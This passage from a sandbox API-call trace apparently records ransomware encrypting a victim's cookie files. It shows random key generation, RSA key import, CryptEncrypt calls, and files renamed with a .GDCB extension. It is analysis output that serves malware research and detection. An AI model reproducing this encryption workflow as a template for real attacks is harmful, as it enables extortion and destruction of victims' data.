data\\microsoft\\windows\\inetcookies\\low\\5wqegnki.txt.gdcb")) returned 1 [0188.197] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.198] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.199] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.200] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.200] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.200] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.201] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.202] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.202] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.202] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.202] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0188.205] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50359d0) returned 1 [0188.205] CryptGetKeyParam (in: hKey=0x50359d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.205] CryptEncrypt (in: hKey=0x50359d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.205] GetLastError () returned 0x0 [0188.205] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.205] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.207] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035dd0) returned 1 [0188.207] CryptGetKeyParam (in: hKey=0x5035dd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.207] CryptEncrypt (in: hKey=0x5035dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.208] GetLastError () returned 0x0 [0188.208] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.208] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\66I0OJL8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\66i0ojl8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.210] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.211] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.212] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x61, lpOverlapped=0x0) returned 1 [0188.221] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.225] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\66I0OJL8.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\66i0ojl8.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\66I0OJL8.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\66i0ojl8.txt.gdcb")) returned 1 [0188.237] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.240] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.240] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.240] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0188.241] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.243] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.243] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.246] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035a90) returned 1 [0188.246] CryptGetKeyParam (in: hKey=0x5035a90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.246] CryptEncrypt (in: hKey=0x5035a90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.246] GetLastError () returned 0x0 [0188.247] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.247] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.249] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50364d0) returned 1 [0188.249] CryptGetKeyParam (in: hKey=0x50364d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.249] CryptEncrypt (in: hKey=0x50364d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.249] GetLastError () returned 0x0 [0188.249] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.249] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\80J4IH0Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\80j4ih0y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.251] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.253] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.254] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5c, lpOverlapped=0x0) returned 1 [0188.263] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.267] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\80J4IH0Y.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\80j4ih0y.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\80J4IH0Y.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\80j4ih0y.txt.gdcb")) returned 1 [0188.274] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.276] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.276] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.276] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.276] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.279] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.279] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.280] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0188.282] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036590) returned 1 [0188.282] CryptGetKeyParam (in: hKey=0x5036590, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.282] CryptEncrypt (in: hKey=0x5036590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.282] GetLastError () returned 0x0 [0188.282] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0188.282] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.284] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50366d0) returned 1 [0188.284] CryptGetKeyParam (in: hKey=0x50366d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.284] CryptEncrypt (in: hKey=0x50366d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.285] GetLastError () returned 0x0 [0188.285] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.285] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\8FFCGS26.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\8ffcgs26.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.287] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.288] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.289] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x341, lpOverlapped=0x0) returned 1 [0188.298] VirtualAlloc (lpAddress=0x0, dwSize=0x350, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.303] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\8FFCGS26.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\8ffcgs26.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\8FFCGS26.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\8ffcgs26.txt.gdcb")) returned 1 [0188.311] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0188.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.315] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.315] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0188.315] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.318] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.318] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.318] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0188.321] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036810) returned 1 [0188.321] CryptGetKeyParam (in: hKey=0x5036810, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.321] CryptEncrypt (in: hKey=0x5036810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.321] GetLastError () returned 0x0 [0188.321] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.321] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.323] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50363d0) returned 1 [0188.323] CryptGetKeyParam (in: hKey=0x50363d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.323] CryptEncrypt (in: hKey=0x50363d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.324] GetLastError () returned 0x0 [0188.324] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.324] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9ABR37NL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9abr37nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.326] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.327] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.328] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0xea, lpOverlapped=0x0) returned 1 [0188.339] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.344] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9ABR37NL.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9abr37nl.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9ABR37NL.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9abr37nl.txt.gdcb")) returned 1 [0188.349] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.351] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.351] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.351] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0188.351] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0188.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.353] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0188.353] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0188.353] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.355] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5036650) returned 1 [0188.355] CryptGetKeyParam (in: hKey=0x5036650, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.355] CryptEncrypt (in: hKey=0x5036650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0188.356] GetLastError () returned 0x0 [0188.356] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.356] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0188.357] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50365d0) returned 1 [0188.357] CryptGetKeyParam (in: hKey=0x50365d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0188.357] CryptEncrypt (in: hKey=0x50365d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0188.358] GetLastError () returned 0x0 [0188.358] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9IJPMFHZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9ijpmfhz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0188.359] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0188.361] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0188.362] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x16b, lpOverlapped=0x0) returned 1 [0188.372] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0188.377] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9IJPMFHZ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9ijpmfhz.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\9IJPMFHZ.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\9ijpmfhz.txt.gdcb")) returned 1 [0188.382] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0188.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.384] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0188.384] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0188.384] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0188.384] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0188.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0188.386] GetProcAddress (hModule=0x74c90000, 